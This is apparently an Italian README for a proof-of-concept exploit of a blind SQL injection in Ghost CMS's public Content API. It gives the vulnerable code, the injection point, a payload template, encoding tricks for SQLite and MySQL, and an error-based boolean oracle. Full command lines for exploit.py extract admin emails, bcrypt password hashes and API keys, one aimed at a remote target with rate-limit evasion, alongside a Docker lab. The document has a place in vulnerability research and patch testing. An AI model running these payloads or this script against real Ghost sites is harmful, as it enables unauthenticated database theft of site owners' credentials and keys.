
Iniezione SQL cieca nell'API dei contenuti di Ghost CMS
Affetti: Ghost 3.24.0 – 6.19.0
Corretto in: Ghost 6.19.1
Autenticazione richiesta: Nessuna — la chiave dell'API Content è pubblica
Impatto: Lettura non autenticata dell'intero database (credenziali, chiavi API)
slug-filter-order.js inserisce direttamente i valori slug forniti dall'utente in una clausola ORDER BY SQL grezza invece di utilizzare binding parametrizzati.
// VULNERABILE — Ghost < 6.19.1
const slugList = slugs.map(s => `'${s}'`).join(',');
return `CASE WHEN ${table}.slug IN (${slugList}) THEN FIELD(...) ELSE ... END ASC`;
// ^^^^^^^^^^^ interpolazione stringa grezza
// CORRETTO — Ghost 6.19.1
knex.orderByRaw('CASE WHEN slug = ? THEN 0 ELSE 1 END', [slugValue]);
Punto di iniezione:
GET /ghost/api/content/posts/?key=<content_api_key>&filter=slug:[<PAYLOAD>,<ancora>]
Template del payload:
slug:['||<SQL_EXPR>||',<ancora-slug>]
L'espressione iniettata funge da oracolo booleano basato su errori.
Vincoli NQL: l'espressione SQL all'interno delle parentesi non deve contenere apici singoli (') o virgole (,):
| Problema | Soluzione SQLite | Soluzione MySQL |
|---|---|---|
Stringa letterale 'content' | CHAR(99)||CHAR(111)||... | 0x636F6E74656E74 |
| Carattere alla posizione N | Confronto di stringhe basato su prefisso | ASCII(SUBSTR(x FROM N FOR 1)) |
||è concatenazione di stringhe in SQLite ma OR logico in MySQL — le stringhe letterali devono essere codificate diversamente per ogni motore.
python3 exploit/exploit.py --url URL --key KEY [--slug SLUG] [flag dati] [opzioni]
Obbligatorio:
--url URL URL base di Ghost (es. http://localhost:2368)
--key KEY Chiave dell'API Content
Opzionale:
--slug SLUG Slug di ancoraggio (rilevato automaticamente dall'API se omesso)
--dbms {auto,sqlite,mysql} Motore DB (default: auto-rilevamento)
--delay N Secondi tra le richieste — per evitare HTTP 429 (default: 0)
--proxy URL Proxy HTTP (es. http://127.0.0.1:8080) (default: nessuno)
--validate-fix Testa se il target è corretto, poi esce
Flag dati (almeno uno richiesto):
--email Email degli utenti
--hash Hash bcrypt degli utenti
--content-key Chiavi dell'API Content
--admin-key Chiavi dell'API Admin
--all Scorciatoia per --email --hash --content-key --admin-key
Modificatore:
--all-records Estrai TUTTI i record per il/i flag selezionato/i invece del solo primo
# Estrai prima email admin + hash (nessun proxy)
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--email --hash --no-proxy
# Estrai tutto, primo record ciascuno
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --no-proxy
# Estrai tutte le chiavi dell'API Content
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--content-key --all-records
# Estrai TUTTI i record di TUTTI i tipi di dati
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --all-records
# Instradamento attraverso proxy Burp
python3 exploit/exploit.py \
--url http://localhost:2368 \
--key <content_api_key> \
--all --proxy http://127.0.0.1:8080
# Forza motore MySQL, aggiungi ritardo per evitare limitazione di velocità
python3 exploit/exploit.py \
--url http://target.com \
--key <content_api_key> \
--all --dbms mysql --delay 0.5
# Verifica che la versione corretta non sia sfruttabile
python3 exploit/exploit.py \
--url http://localhost:2369 \
--key <content_api_key> \
--validate-fix
Ghost limita per impostazione predefinita le richieste all'API Content. Opzioni:
--delay 0.5 per aggiungere un ritardo tra le richiesteAPI_RATE_LIMIT_ENABLED: "false" nell'ambiente di docker-compose e riavviareslug-filter-order.js in Ghost 6.18.0 → 6.19.1Solo per riferimento — salta se hai già un'istanza vulnerabile di Ghost.
pip install requestsghost-cve-2026-26980/
├── mysql_docker-compose.yml # Ghost + MySQL 8.0
├── sqlite_docker-compose.yml # Ghost + SQLite (default)
├── mysql-init/
│ └── 01-init.sql # crea DB ghost_patch, concede accesso
├── vulnerable/
│ └── Dockerfile # Ghost 6.18.0
├── patched/
│ └── Dockerfile # Ghost 6.19.1
└── exploit/
└── exploit.py
Entrambi i file compose espongono:
http://localhost:2368 — vulnerabile (Ghost 6.18.0)http://localhost:2369 — corretto (Ghost 6.19.1)docker compose -f sqlite_docker-compose.yml up -d
docker compose -f mysql_docker-compose.yml up -d
Credenziali MySQL: host=localhost:3306 user=ghost password=ghostpass
Database: ghost_vuln (porta 2368) / ghost_patch (porta 2369)
Attendi circa 60 secondi per l'inizializzazione di Ghost, poi:
http://localhost:2368/ghost — crea un account amministratore e pubblica almeno un post# SQLite
docker compose -f sqlite_docker-compose.yml down -v
docker compose -f sqlite_docker-compose.yml up -d
# MySQL
docker compose -f mysql_docker-compose.yml down -v
docker compose -f mysql_docker-compose.yml up -d
| Motore | TRUE | FALSE |
|---|
| SQLite | hex(randomblob(10^15)) → OOM → HTTP 500 | ELSE 0 → HTTP 200 |
| MySQL | THEN 0 → HTTP 200 | EXP(710) overflow → HTTP 500 |